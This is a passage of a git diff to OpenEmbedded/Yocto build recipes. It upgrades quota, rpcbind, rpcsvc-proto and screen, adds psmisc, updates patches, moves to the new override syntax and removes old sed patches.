diff --git a/meta/recipes-extended/psmisc/psmisc_23.4.bb b/meta/recipes-extended/psmisc/psmisc_23.4.bb
new file mode 100644
index 0000000000..94caa2ddb7
--- /dev/null
+++ b/meta/recipes-extended/psmisc/psmisc_23.4.bb
@@ -0,0 +1,9 @@
+require psmisc.inc
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
+
+SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
+ file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
+ "
+SRCREV = "5fab6b7ab385080f1db725d6803136ec1841a15f"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
new file mode 100644
index 0000000000..34ded2d857
--- /dev/null
+++ b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
@@ -0,0 +1,34 @@
+From 02b222a335527f1031cc9495d8c5ebc1bc5b1d4e Mon Sep 17 00:00:00 2001
+From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
+Date: Wed, 11 Nov 2020 15:00:47 +0100
+Subject: [PATCH] quota: Use realloc(3) instead of reallocarray(3)
+
+reallocarray(3) has been added to glibc relatively recently (version
+2.26, from 2017) and apparently not all users run new enough glibc. Just
+use realloc(3) for now since in this case there's no real risk of
+overflow.
+
+Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
+Signed-off-by: Jan Kara <jack@suse.cz>
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ quota.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/quota.c b/quota.c
+index a6ed61f..a60de12 100644
+--- a/quota.c
++++ b/quota.c
+@@ -385,7 +385,7 @@ int main(int argc, char **argv)
+ break;
+ case 259:
+ fscount++;
+- fsnames = reallocarray(fsnames, fscount, sizeof(char *));
++ fsnames = realloc(fsnames, fscount * sizeof(char *));
+ if (!fsnames)
+ die(1, _("Not enough memory for filesystem names"));
+ fsnames[fscount - 1] = optarg;
+--
+2.17.1
+
diff --git a/meta/recipes-extended/quota/quota_4.05.bb b/meta/recipes-extended/quota/quota_4.05.bb
deleted file mode 100644
index c5da1e71ed..0000000000
--- a/meta/recipes-extended/quota/quota_4.05.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
-SECTION = "base"
-HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
- file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
- file://fcntl.patch \
- "
-SRC_URI[md5sum] = "1c1dbd2cd3d680ccac661239b067e147"
-SRC_URI[sha256sum] = "ef3b5b5d1014ed1344b46c1826145e20cbef8db967b522403c9a060761cf7ab9"
-
-CVE_PRODUCT = "linux_diskquota"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
-UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
-
-DEPENDS = "gettext-native e2fsprogs libnl dbus"
-
-inherit autotools-brokensep gettext pkgconfig
-
-CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
-LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
-ASNEEDED = ""
-
-PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
-PACKAGECONFIG_libc-musl = "tcp-wrappers rpc"
-
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
-PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
-PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/quota/quota_4.06.bb b/meta/recipes-extended/quota/quota_4.06.bb
new file mode 100644
index 0000000000..0535d14c20
--- /dev/null
+++ b/meta/recipes-extended/quota/quota_4.06.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
+SECTION = "base"
+HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
+DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
+ file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
+ file://fcntl.patch \
+ file://0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch \
+ "
+SRC_URI[sha256sum] = "2f3e03039f378d4f0d97acdb49daf581dcaad64d2e1ddf129495fd579fbd268d"
+
+CVE_PRODUCT = "linux_diskquota"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
+UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
+
+DEPENDS = "gettext-native e2fsprogs libnl dbus"
+
+inherit autotools-brokensep gettext pkgconfig
+
+CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
+LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
+ASNEEDED = ""
+
+PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
+PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
+
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
+PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
+PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
new file mode 100644
index 0000000000..79dc96050e
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -0,0 +1,42 @@
+From da528d5d60137f13202102b53cf178aba45849a5 Mon Sep 17 00:00:00 2001
+From: Stefan Agner <stefan.agner@toradex.com>
+Date: Sun, 6 Oct 2019 00:05:54 +0200
+Subject: [PATCH] systemd: use EnvironmentFile
+
+Use OE specific environment file.
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Stefan Agner <stefan.agner@toradex.com>
+---
+ configure.ac | 2 ++
+ systemd/rpcbind.service.in | 2 +-
+ 2 files changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/configure.ac b/configure.ac
+index 2dd9471..47a46c0 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -69,5 +69,7 @@ AC_CHECK_HEADERS([nss.h rpcsvc/mount.h])
+ # 2 "evals" needed to expand variable names
+ AC_SUBST([_sbindir])
+ AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
++AC_SUBST([_sysconfdir])
++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
+
+ AC_OUTPUT([Makefile systemd/rpcbind.service])
+diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
+index 7b1c74b..f45ee1e 100644
+--- a/systemd/rpcbind.service.in
++++ b/systemd/rpcbind.service.in
+@@ -11,7 +11,7 @@ Wants=rpcbind.target
+
+ [Service]
+ Type=notify
+-# distro can provide a drop-in adding EnvironmentFile=-/??? if needed.
++EnvironmentFile=-@_sysconfdir@/rpcbind.conf
+ ExecStart=@_sbindir@/rpcbind $RPCBIND_OPTIONS -w -f
+
+ [Install]
+--
+2.23.0
+
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
index 2a4dfbcfbc..f423ac1788 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
@@ -1,3 +1,3 @@
# Optional arguments passed to rpcbind.
#
-RPCBIND_OPTS=""
+RPCBIND_OPTIONS=""
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service
deleted file mode 100644
index 9cdade4959..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.service
+++ /dev/null
@@ -1,12 +0,0 @@
-[Unit]
-Description=RPC Bind Service
-Requires=rpcbind.socket
-
-[Service]
-Type=forking
-EnvironmentFile=-@SYSCONFDIR@/rpcbind.conf
-ExecStart=@SBINDIR@/rpcbind $RPCBIND_OPTS
-SuccessExitStatus=2
-
-[Install]
-Also=rpcbind.socket
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket
deleted file mode 100644
index d63c1d9720..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket
+++ /dev/null
@@ -1,8 +0,0 @@
-[Unit]
-Description=RPCbind Server Activation Socket
-
-[Socket]
-ListenStream=/var/run/rpcbind.sock
-
-[Install]
-WantedBy=sockets.target
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
index 434b6b1c4c..535f9ce20d 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
3 files changed, 26 insertions(+), 3 deletions(-)
diff --git a/man/rpcbind.8 b/man/rpcbind.8
-index af6200f..2e6146b 100644
+index fbf0ace..66f7c08 100644
--- a/man/rpcbind.8
+++ b/man/rpcbind.8
@@ -11,7 +11,7 @@
@@ -27,17 +27,17 @@ index af6200f..2e6146b 100644
.Sh DESCRIPTION
The
.Nm
-@@ -107,6 +107,8 @@ will automatically add
+@@ -96,6 +96,8 @@ will automatically add
and if IPv6 is enabled,
.Li ::1
to the list.
+.It Fl p
+Bind for fixed UDP port number
- .It Fl i
- .Dq Insecure
- mode.
+ If no
+ .Fl h
+ option is specified,
diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
-index 8aef9e5..c2632a4 100644
+index 1743dad..07a1c75 100644
--- a/src/rpcb_svc_com.c
+++ b/src/rpcb_svc_com.c
@@ -48,6 +48,7 @@
@@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644
int fd;
struct rmtcallfd_list *rmt;
SVCXPRT *xprt;
-+ struct __rpc_sockinfo si;
-+ struct t_bind taddr;
++ struct __rpc_sockinfo si;
++ struct t_bind taddr;
if ((fd = __rpc_nconf2fd(nconf)) == -1) {
if (debugging)
@@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644
return (-1);
}
+
-+ if (fixed_port) {
-+ __rpc_fd2sockinfo(fd, &si);
-+ memset(&taddr, 0, sizeof(taddr));
-+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
-+ taddr.addr.buf = malloc(si.si_alen);
-+ if (taddr.addr.buf == NULL) {
-+ return -1;
-+ }
-+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
-+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
-+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
-+ } else
++ if (fixed_port) {
++ __rpc_fd2sockinfo(fd, &si);
++ memset(&taddr, 0, sizeof(taddr));
++ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
++ taddr.addr.buf = malloc(si.si_alen);
++ if (taddr.addr.buf == NULL) {
++ return -1;
++ }
++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
++ } else
xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
if (xprt == NULL) {
if (debugging)
diff --git a/src/rpcbind.c b/src/rpcbind.c
-index 137011b..dc3d2d6 100644
+index 25d8a90..36a95b9 100644
--- a/src/rpcbind.c
+++ b/src/rpcbind.c
@@ -111,6 +111,7 @@ int runasdaemon = 0;
@@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644
char **hosts = NULL;
int nhosts = 0;
-@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[])
+@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
{
int c;
oldstyle_local = 1;
@@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644
switch (c) {
case 'a':
doabort = 1; /* when debugging, do an abort on */
-@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[])
+@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
if (hosts[nhosts - 1] == NULL)
errx(1, "Out of memory");
break;
-+ case 'p':
-+ fixed_port = atoi(optarg);
-+ break;
++ case 'p':
++ fixed_port = atoi(optarg);
++ break;
case 'i':
insecure = 1;
break;
-@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[])
+@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
break;
#endif
default: /* error */
- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
-+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
exit (1);
}
}
--
-1.9.1
+2.25.1
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
deleted file mode 100644
index 19d778b6d1..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
+++ /dev/null
@@ -1,61 +0,0 @@
-SUMMARY = "Universal Addresses to RPC Program Number Mapper"
-DESCRIPTION = "The rpcbind utility is a server that converts RPC \
- program numbers into universal addresses."
-SECTION = "console/network"
-HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
-DEPENDS = "libtirpc quota"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
- file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
- file://init.d \
- file://rpcbind.conf \
- file://rpcbind.socket \
- file://rpcbind.service \
- file://rpcbind_add_option_to_fix_port_number.patch \
- "
-SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b"
-SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-PACKAGECONFIG ??= "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-
-INITSCRIPT_NAME = "rpcbind"
-INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
-
-SYSTEMD_SERVICE_${PN} = "rpcbind.service"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \
- --shell /bin/false --user-group rpc"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \
- --without-systemdsystemunitdir, \
- systemd \
-"
-
-EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- sed -e 's,/etc/,${sysconfdir}/,g' \
- -e 's,/sbin/,${sbindir}/,g' \
- ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
- chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
-
- install -m 0755 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/rpcbind.socket ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/rpcbind.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- ${D}${systemd_unitdir}/system/rpcbind.service
-}
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
new file mode 100644
index 0000000000..dd89726afc
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Universal Addresses to RPC Program Number Mapper"
+DESCRIPTION = "The rpcbind utility is a server that converts RPC \
+ program numbers into universal addresses."
+SECTION = "console/network"
+HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
+DEPENDS = "libtirpc quota"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
+ file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
+ file://init.d \
+ file://rpcbind.conf \
+ file://rpcbind_add_option_to_fix_port_number.patch \
+ file://0001-systemd-use-EnvironmentFile.patch \
+ "
+SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
+
+inherit autotools update-rc.d systemd pkgconfig update-alternatives
+
+PACKAGECONFIG ??= "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+
+INITSCRIPT_NAME = "rpcbind"
+INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
+
+SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
+ --shell /bin/false --user-group rpc"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
+ --without-systemdsystemunitdir, \
+ systemd \
+"
+
+EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ sed -e 's,/etc/,${sysconfdir}/,g' \
+ -e 's,/sbin/,${sbindir}/,g' \
+ ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
+ chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
+ install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
+}
+
+ALTERNATIVE:${PN} = "rpcinfo"
+ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
index cb5b288c48..dd7bd2b1be 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -15,21 +15,25 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
SECTION = "libs"
DEPENDS += "rpcsvc-proto-native"
-PV = "1.4+git${SRCPV}"
+PV = "1.4.3"
-SRCREV = "9bc3b5b785723cfff459b0c01b39d87d4bed975c"
+SRCREV = "71e0a12c04d130a78674ac6309eefffa6ecee612"
-SRC_URI = "git://github.com/thkukuk/${BPN} \
+SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
file://0001-Use-cross-compiled-rpcgen.patch \
"
S = "${WORKDIR}/git"
-inherit autotools
+inherit autotools gettext
-EXTRA_OEMAKE_class-native = " -C rpcgen"
+EXTRA_OEMAKE:class-native = " -C rpcgen"
-do_install_append() {
+do_configure:prepend() {
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append() {
# They come from quota recipe
rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
}
diff --git a/meta/recipes-extended/screen/screen_4.7.0.bb b/meta/recipes-extended/screen/screen_4.7.0.bb
deleted file mode 100644
index 67aa5f1fc6..0000000000
--- a/meta/recipes-extended/screen/screen_4.7.0.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Multiplexing terminal manager"
-DESCRIPTION = "Screen is a full-screen window manager \
-that multiplexes a physical terminal between several \
-processes, typically interactive shells."
-HOMEPAGE = "http://www.gnu.org/software/screen/"
-BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
-
-SECTION = "console/utils"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://screen.h;endline=26;md5=3971142989289a8198a544220703c2bf"
-
-DEPENDS = "ncurses virtual/crypt \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "base-files"
-
-SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
- file://0002-comm.h-now-depends-on-term.h.patch \
- file://0001-fix-for-multijob-build.patch \
- file://0001-Remove-more-compatibility-stuff.patch \
- "
-
-SRC_URI[md5sum] = "b8971ebd68d046f2814d1040cb8e6641"
-SRC_URI[sha256sum] = "da775328fa783bd2a787d722014dbd99c6093effc11f337827604c2efc5d20c1"
-
-inherit autotools texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
-
-EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-
-do_install_append () {
- install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
- fi
-}
-
-pkg_postinst_${PN} () {
- grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
-}
-
-pkg_postrm_${PN} () {
- printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
-}
diff --git a/meta/recipes-extended/screen/screen_4.9.0.bb b/meta/recipes-extended/screen/screen_4.9.0.bb
new file mode 100644
index 0000000000..b36173b8de
--- /dev/null
+++ b/meta/recipes-extended/screen/screen_4.9.0.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Multiplexing terminal manager"
+DESCRIPTION = "Screen is a full-screen window manager \
+that multiplexes a physical terminal between several \
+processes, typically interactive shells."
+HOMEPAGE = "http://www.gnu.org/software/screen/"
+BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
+
+SECTION = "console/utils"
+
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
+ "
+
+DEPENDS = "ncurses virtual/crypt \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} = "base-files"
+
+SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
+ file://0002-comm.h-now-depends-on-term.h.patch \
+ file://0001-fix-for-multijob-build.patch \
+ file://0001-Remove-more-compatibility-stuff.patch \
+ "
+
+SRC_URI[sha256sum] = "f9335281bb4d1538ed078df78a20c2f39d3af9a4e91c57d084271e0289c730f4"
+
+inherit autotools texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
+
+EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
+
+do_install:append () {
+ install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
+ fi
+}
+
+pkg_postinst:${PN} () {
+ grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
+}
+
+pkg_postrm:${PN} () {
+ printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
+}
diff --git a/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/sed/sed-4.2.2/run-ptest b/meta/recipes-extended/sed/sed-4.2.2/run-ptest
deleted file mode 100644
index 7c0f62770e..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-make -C testsuite -k runtest-TESTS
diff --git a/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch b/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch
deleted file mode 100644
index 0293900fbf..0000000000
--- a/meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-sed: add ptest
-
-ptest needs buildtest-TESTS and runtest-TESTS targets.
-serial-tests is required to generate those targets.
-
-And fix following error after add serial-tests.
-
-[snip]
-help2man: can't get `--help' info from ../sed/sed
-make[2]: *** [sed.1] Error 2
-[snip]
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
----
- configure.ac | 2 +-
- doc/Makefile.am | 2 +-
- testsuite/Makefile.am | 6 ++++++
- 3 files changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 9d33ec9..4f0c532 100644
---- a/configure.ac
-+++ b/configure.ac
